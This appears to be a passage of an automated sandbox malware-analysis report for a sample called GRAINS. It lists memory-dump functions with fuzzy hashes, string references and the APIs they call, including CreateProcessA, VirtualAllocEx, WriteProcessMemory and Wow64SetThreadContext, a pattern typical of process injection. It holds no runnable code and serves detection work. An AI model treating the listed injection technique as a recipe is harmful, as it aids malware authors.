Function 078E1400 Relevance: 3.1, Strings: 1, Instructions: 1829COMMON

Download Yara Rule

Strings

U, xrefs: 078E282D

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: f751aad9cb3015cec754d11d2614fd64b90544d4d5dd30fb7e210f7fbd739df0
Instruction ID: 897f95829f5806c85a6eabdc1c2e88d206eb850e928a7e793ad4d018ecc52e5b
Opcode Fuzzy Hash: f751aad9cb3015cec754d11d2614fd64b90544d4d5dd30fb7e210f7fbd739df0
Instruction Fuzzy Hash: D5D22AB0B0430A8FDB15DF78C8547AABBFABF97214F1480AAD915CB291DB31D881C791

Function 0A5379F5 Relevance: 2.6, Strings: 2, Instructions: 150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 0A537AA6
0, xrefs: 0A537A7D

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 0$A
API String ID: 0-723102754
Opcode ID: 18048cfb8d22bf6e850e796a251144da0efcdc75273387a293f7888284683aee
Instruction ID: 938ccb84ecc0243c122a19b708e71c177f392e5981f91cc1ff199a42b410fb1b
Opcode Fuzzy Hash: 18048cfb8d22bf6e850e796a251144da0efcdc75273387a293f7888284683aee
Instruction Fuzzy Hash: C471DF75901228EFDB60CF59D848BEAB7B1BB89304F5494EAD50DB7640D7789AC8CF10

Function 0A537246 Relevance: 2.6, Strings: 2, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9, xrefs: 0A537253
5, xrefs: 0A53770E

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 5$9
API String ID: 0-1930205127
Opcode ID: 9e886f8d2c89554ad62700908f401ebf8ecbbc32454c2ce9f0ffe611985c2746
Instruction ID: d8d2de3f0ad7eace491fa35be9f528389f4312330a1a2367db59354326ea9db3
Opcode Fuzzy Hash: 9e886f8d2c89554ad62700908f401ebf8ecbbc32454c2ce9f0ffe611985c2746
Instruction Fuzzy Hash: 6151F371901228EFDB60CF59D848BDAB7F1BB89308F5494EAD109B3650C7789AC8CF14

Function 0A7E3DC9 Relevance: 2.5, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 0A7E3DD6
Q, xrefs: 0A7E647C

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID: Q$u
API String ID: 0-1136195968
Opcode ID: 531b5d0629c37a90fd97d05430a2500b5254b77002dd96cf417f0feaa2e8c8a8
Instruction ID: 70acf0ca1756eee8267058013db3d8eda26984ddcebd4bba995231bedddf4e50
Opcode Fuzzy Hash: 531b5d0629c37a90fd97d05430a2500b5254b77002dd96cf417f0feaa2e8c8a8
Instruction Fuzzy Hash: D91117B0D44219DBDBA0DF54C858BADB6F1FB09304F1190EAD51997680CB789EC9CF50

Function 0A5380C8 Relevance: 2.5, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7, xrefs: 0A537EE0
<, xrefs: 0A5380D6

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 7$<
API String ID: 0-14858022
Opcode ID: a5f9cd49cb69c4da967e321a5005251c04ab08e1bccca162a03bc12fc7f900eb
Instruction ID: a5adaf1a2aa86e5cba8b9b656c7871610f1eb2aa391168a088e1351426a77d32
Opcode Fuzzy Hash: a5f9cd49cb69c4da967e321a5005251c04ab08e1bccca162a03bc12fc7f900eb
Instruction Fuzzy Hash: A401D3B4D022299FDB64DF60D854BDDB7B1BB49300F1094D9DA0AB7280CB746E80CF80

Function 0A3B6B2C Relevance: 2.5, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f, xrefs: 0A3B6B39
/, xrefs: 0A3B794D

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: /$f
API String ID: 0-2573860100
Opcode ID: bfd64e3307fd868ea93d88f21f6be4c68bebe01a557d6065f9e34b7aada2dce9
Instruction ID: c54adcaa4d33afadead66d2e12e9606c812b50feaad474862d049f4af0b4b32d
Opcode Fuzzy Hash: bfd64e3307fd868ea93d88f21f6be4c68bebe01a557d6065f9e34b7aada2dce9
Instruction Fuzzy Hash: 0701C4B4C25228CFDB60CF24C88ABDDBBB6AB09315F1450D9C60DB2A82C7349AC4CF14

Function 0A457194 Relevance: 1.8, APIs: 1, Instructions: 276
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0A457407

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c38af5451402ec787015e102f9070221ecd2c17197eed1818f340db891c8bf0b
Instruction ID: 4950d25c09401d92ebe3099b8e45dea4a70969eff00f9d4ea49e4a21b8edbf73
Opcode Fuzzy Hash: c38af5451402ec787015e102f9070221ecd2c17197eed1818f340db891c8bf0b
Instruction Fuzzy Hash: FDA13374D002199FDF20DFB9C8857EEBBB2BB49310F10956AE868A7281DB748985CF44

Function 0A4571A0 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0A457407

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9d2d7a2feb4d481b0abdd44dad4e112228a77d4befeb7559b65b4ec967d9e665
Instruction ID: 6ee9a4c27c5a12cab7ad854656ea8fba348c7d7080ee1b8df043992ba99162f3
Opcode Fuzzy Hash: 9d2d7a2feb4d481b0abdd44dad4e112228a77d4befeb7559b65b4ec967d9e665
Instruction Fuzzy Hash: 60A11274D00219DFDF10CFB9C9857EEBBB1BB09310F20956AE868A7281DB749985CF45

Function 0A459984 Relevance: 1.7, APIs: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 0A459B0B

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 410c257b488f2854167182f30c8e5b23e7007362317580beb1fb837853f03e13
Instruction ID: dcd18b19ab88bdbcdcb104b3454450f524950bd0325b45d9129638a484bb0ec4
Opcode Fuzzy Hash: 410c257b488f2854167182f30c8e5b23e7007362317580beb1fb837853f03e13
Instruction Fuzzy Hash: CD613374D00358DFEB14CFB9C9857EEBBB1BB49310F24852AE825A7282DB748985CF44

Function 0A459990 Relevance: 1.7, APIs: 1, Instructions: 169fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 0A459B0B

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 65a087697f012b78a3f18a952af916b11677aca14e48f49d127931d5c99ff35c
Instruction ID: 786baea6e50444b8bb26bb345e1aaf0234c0791ce0f67137630c3320b9467a67
Opcode Fuzzy Hash: 65a087697f012b78a3f18a952af916b11677aca14e48f49d127931d5c99ff35c
Instruction Fuzzy Hash: B8613474D00358DFEB10DFA9C9457EEBBB1BB48310F24852AE824A7282DB748981CF40

Function 0A457C10 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0A457CEB

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 12ea857d4155f2c8d189d3874d9031653526ee6b647b1a940b3776a4b50d7fe9
Instruction ID: d2de7303d7e26409a72d90751bddc121781ca47133be7502fefb4d64f5936b5e
Opcode Fuzzy Hash: 12ea857d4155f2c8d189d3874d9031653526ee6b647b1a940b3776a4b50d7fe9
Instruction Fuzzy Hash: B041A9B4D012589FCF00CFA9D984AEEFBF1BB49310F14942AE818B7200D779AA45CF64

Function 0A457C18 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0A457CEB

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: af47413832c8e778cc9cf6d0a3ea9df5b24142b7e7c9e15c3b865997f5fcec19
Instruction ID: 94d51fcb33f0d67ed7f5b6aa1bf63fa5f109dfe5495416fd5ce4fede83b1ef4d
Opcode Fuzzy Hash: af47413832c8e778cc9cf6d0a3ea9df5b24142b7e7c9e15c3b865997f5fcec19
Instruction Fuzzy Hash: A441AAB5D012589FCF00CFA9D984AEEFBF1BB49310F14942AE818B7240D778AA45CF64

Function 0A457AB0 Relevance: 1.6, APIs: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0A457B62

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f59441caa8bc01d690acbcb4c60f8d1ce22a2570ed8ad2358a295d8857e63082
Instruction ID: bfa81b387fa15b34cf34d433726cede2303fa305809146a0bdace693e5434535
Opcode Fuzzy Hash: f59441caa8bc01d690acbcb4c60f8d1ce22a2570ed8ad2358a295d8857e63082
Instruction Fuzzy Hash: 2F41BBB8D012499FCF14DFA9D880ADEFBB1BB49310F14A42AE919B7351C735A906CF54

Function 0A457A68 Relevance: 1.6, APIs: 1, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0A457B62

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f4bc9a1715946488e9c877f6791716b3466b8a2adc89bb8a72ad81bc0e471e0c
Instruction ID: 34d8e19b2794fc767d94adeccf705981c654455a7d2820c93e72fe4c98469f88
Opcode Fuzzy Hash: f4bc9a1715946488e9c877f6791716b3466b8a2adc89bb8a72ad81bc0e471e0c
Instruction Fuzzy Hash: 5541F1B8D002099FCF14CFA8E480AEEBBB1BF49310F14A42AE919B7351C775A955CF54

Function 0A458100 Relevance: 1.6, APIs: 1, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0A4581AC

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 721a64e22df77fc44561a26ad9621522d15a678223cc43678b1681bdc097dba3
Instruction ID: 7efac76c226a3dbcc3821d716ca61e6289ab7212ed71b24175235c7e779d16c2
Opcode Fuzzy Hash: 721a64e22df77fc44561a26ad9621522d15a678223cc43678b1681bdc097dba3
Instruction Fuzzy Hash: F641DEB8D012489FCF14DFA9D884AEEFBB1BF49310F14902AE819B7251CB35A945DF54

Function 0A457AB8 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0A457B62

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: abd903430bb42d2301f774a55c032231dfdaaff6373d20bdfb3ab3478b1c3a3b
Instruction ID: 80f237bb4179023e8df3ff08f45498515cdeb053847af98eae33ef8a84fd3913
Opcode Fuzzy Hash: abd903430bb42d2301f774a55c032231dfdaaff6373d20bdfb3ab3478b1c3a3b
Instruction Fuzzy Hash: 5D3198B9D012589FCF10CFA9D984ADEFBB5BB49320F10942AE815B7310D735A945CF68

Function 0A458108 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0A4581AC

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 49952051760b9c225aff48a4afe6dc5030c4ff34563bf67286770dd5cee1b90d
Instruction ID: ce5c91d3c7533ab3139e518643274b688334379e97c03f5e2c4eeb63ca637a6e
Opcode Fuzzy Hash: 49952051760b9c225aff48a4afe6dc5030c4ff34563bf67286770dd5cee1b90d
Instruction Fuzzy Hash: A031AAB9D012589FDF10DFAAD884AEEFBB1BF49310F14942AE814B7210DB35A945CF54

Function 0A457550 Relevance: 1.6, APIs: 1, Instructions: 98threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0A457607

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3b4e40aa2e6d24e85b94a9065164cb1518bbd10eecfbbf7560c2f4deba14c0e7
Instruction ID: e76e61c8b1c2dddea7b646468a7805c7e3fa7902fab6a0f82694253554a04bb5
Opcode Fuzzy Hash: 3b4e40aa2e6d24e85b94a9065164cb1518bbd10eecfbbf7560c2f4deba14c0e7
Instruction Fuzzy Hash: BA41DCB4D012599FDB14CFAAD884AEEFBF1BF49320F24842AE815B7241C738A945CF54

Function 0A58DC60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0A58DD04

Memory Dump Source

Source File: 00000004.00000002.1571683317.000000000A580000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a580000_GRAINS.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 372796a735e2eb8272f07ff0b7feca3f4c39c68de0e62fd473750a117bd77c74
Instruction ID: 28b55867dc067f2551a03dfbe5fcb7b7d5d7cf4f5397d7ace94b3985eea0c9ac
Opcode Fuzzy Hash: 372796a735e2eb8272f07ff0b7feca3f4c39c68de0e62fd473750a117bd77c74
Instruction Fuzzy Hash: A331A7B9D01248AFCF10DFAAD980A9EFBF1BF49320F24942AE814B7210D735A945CF54

Function 0A457558 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0A457607

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2f2b4809f414146a5b319e39b7bb972afa01fd06d3ea3ba722b748c7b996a17f
Instruction ID: b19dc9f8b0576a1b451cb90629bc3c8b75bdf668965f2125c9e81b6b5e2bc5aa
Opcode Fuzzy Hash: 2f2b4809f414146a5b319e39b7bb972afa01fd06d3ea3ba722b748c7b996a17f
Instruction Fuzzy Hash: 7C31CEB5D012599FDB10DFAAD884AEEFBF1BF49320F14842AE814B7240D738A945CF54

Function 0A4244D8 Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

!LB, xrefs: 0A42467B

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID: !LB
API String ID: 0-1657841530
Opcode ID: 1cf69dede978630eb974b5f150ababb8e9463c3042b9dcc1b99e2d13255734de
Instruction ID: 558bab83dbb482e9eae3c491f3c807ee86ae613c75ba2ce29f76ea77ff039c25
Opcode Fuzzy Hash: 1cf69dede978630eb974b5f150ababb8e9463c3042b9dcc1b99e2d13255734de
Instruction Fuzzy Hash: 3AA1C1353042509FEB199F68D454E6A7BB2EFC9300B1581AEE6568F3B2CB36DC42DB50

Function 0A3B8EE6 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

V-D, xrefs: 0A3B9195

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: V-D
API String ID: 0-318082066
Opcode ID: 2bc6d07371a7d3be19c855f2cb645bce4e8035e39df1afffdbf55b9eb0bb528a
Instruction ID: c9da2ced0ba5d03adcebc5155d829a0f8b1916010f2da4544393590117b31d30
Opcode Fuzzy Hash: 2bc6d07371a7d3be19c855f2cb645bce4e8035e39df1afffdbf55b9eb0bb528a
Instruction Fuzzy Hash: 82C11A70D15208EFDB64DFA8E4487EDBBBAEF49300F10801AEA16A7B95CB749945CF50

Function 04F4BF90 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: c80b340e5f662935cc54b1dfd25450f66ec7c96739ae463c19ad2eeff9c9ca80
Instruction ID: 55a4c67827e457a82a52ce2cdf1064889c33f058d2d4dee34075887d18287e66
Opcode Fuzzy Hash: c80b340e5f662935cc54b1dfd25450f66ec7c96739ae463c19ad2eeff9c9ca80
Instruction Fuzzy Hash: 62512779A0420ECBEF10CFD9D8447EDBBB1BB88314F106215D006EB281DB79A986DF65

Function 04F4BFC6 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 198405baca2132d33c1294e0470882db108901edec3695b64726cbce45099374
Instruction ID: efb853e9cf9e5c9f7c7332533d6d2ec280c43556e0bf960a3bde2f3b49a5788e
Opcode Fuzzy Hash: 198405baca2132d33c1294e0470882db108901edec3695b64726cbce45099374
Instruction Fuzzy Hash: 4151F774A0421ACFEF10CFD5D8447EDBBB1BB88314F10A215D50AEB281DB38A986DF65

Function 04F4C1E8 Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: d95f5d3f131ef87519537df317a022a2cc0e87ad81b9b37cb8b1f2e4ce4f3eda
Instruction ID: 199c8c2b87644fd43eb95a31a2710e57ef05f8e639a02aa398b55874a886a7e3
Opcode Fuzzy Hash: d95f5d3f131ef87519537df317a022a2cc0e87ad81b9b37cb8b1f2e4ce4f3eda
Instruction Fuzzy Hash: 24510774A0421ADFEF10CFD9D4447EDBBB1BB88314F106219D10AEB291DB78A986CF65

Function 04F4BF81 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: cf96fb537a649df523b6d15ec5fa89da5cc03125914108128fd00b3d6140ee97
Instruction ID: d6dd4f3cdb84a7ecb779f50a3170945b9465a8574253c9eaf9435feebed859ae
Opcode Fuzzy Hash: cf96fb537a649df523b6d15ec5fa89da5cc03125914108128fd00b3d6140ee97
Instruction Fuzzy Hash: 95511779A0420ADFEF10CF99D8447EDBFB1BB88314F106215D406EB281DB78A946DF65

Function 04F4C07D Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: d0f02eacd5959e53e91b98070db68e9d7c6e27b0802c361031c6807b2200b84a
Instruction ID: d00df62ed191812411b6df35faf6f331ddd1e35147a3f90a2323eb74bc4d217c
Opcode Fuzzy Hash: d0f02eacd5959e53e91b98070db68e9d7c6e27b0802c361031c6807b2200b84a
Instruction Fuzzy Hash: D1510779A0421ACBEF10CFD5D4447FDBBB1BB88314F106215D006EB281DB79A986CF65

Function 04F4C0CA Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 511e1c2d3799b606bd7e445b5777976d46aa33de83cb243e3e3520b6108df3d8
Instruction ID: a667362f1edd0781ee56bd452e3dfce51d0fe156763e2d937bf853e56ffa0c16
Opcode Fuzzy Hash: 511e1c2d3799b606bd7e445b5777976d46aa33de83cb243e3e3520b6108df3d8
Instruction Fuzzy Hash: CB5105B9A0421ADFEF10CFD5D4447EDBBB1BB88314F106215C106EB281DB78A986CFA5

Function 04F4C0DC Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: c8318cbf653a3287e951ca0a95f9b3ff0af7a6423a2a8dada609e161d773344b
Instruction ID: 620f7ce911ede97920e8c58ef6b7fbbb203fcd9af5c3bc4059f70837b731ff21
Opcode Fuzzy Hash: c8318cbf653a3287e951ca0a95f9b3ff0af7a6423a2a8dada609e161d773344b
Instruction Fuzzy Hash: F3511878A0421ADFEF10CFD9D4447EDBBB1BB88314F106219D106EB281DB78A986CF65

Function 04F4C2C2 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: fa5e9e58780ccf4ab600ab287e6cb200153091de04e097619dc7a75b1b50a6f4
Instruction ID: 0a5804004bf3d587b09e679d49af9098469f4c2d5425c1c8db406efd56e74281
Opcode Fuzzy Hash: fa5e9e58780ccf4ab600ab287e6cb200153091de04e097619dc7a75b1b50a6f4
Instruction Fuzzy Hash: 37410779A0421ACBEF10CF95D8447EDBFB1FB88314F106215C106EA285DB79A986CFA5

Function 04F4C1B6 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 7c2d983e1387f330fc8d181699eef31ab72d5e8ade3644094d16db995533cad2
Instruction ID: 458eae3ec91fd417c3d464d2260e2b676d81cf5dbe1d0f9b6f04bcb3b69300ff
Opcode Fuzzy Hash: 7c2d983e1387f330fc8d181699eef31ab72d5e8ade3644094d16db995533cad2
Instruction Fuzzy Hash: 88510779A0421ADFEF10CFD5D4487EDBBB1BB88314F106215C00AEB281DB78A986CF65

Function 0A537F25 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

*, xrefs: 0A537F55

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 75c8766768a99972f7625ba1a5b07c51e38d1ff0d065c223acc27de23aa0846a
Instruction ID: 69fc8a6f3b7aa03754007792bfd1d35b3efdf36ef258fd1b225c5ab9e036e94c
Opcode Fuzzy Hash: 75c8766768a99972f7625ba1a5b07c51e38d1ff0d065c223acc27de23aa0846a
Instruction Fuzzy Hash: C451E171901228EFDB60CF59D848BAAB7F1BB89318F5494EAD009B3651D7789AC8CF00

Function 04F4C1AC Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

!, xrefs: 04F4C2F8

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 8e19fb27be14a1b683999977e8b802ed2de1bb28455ae9a1b3a30616d52de62b
Instruction ID: d2d413fffae171152ccf0e10280bb4e6fba516de8e56d936934c63dda3195db6
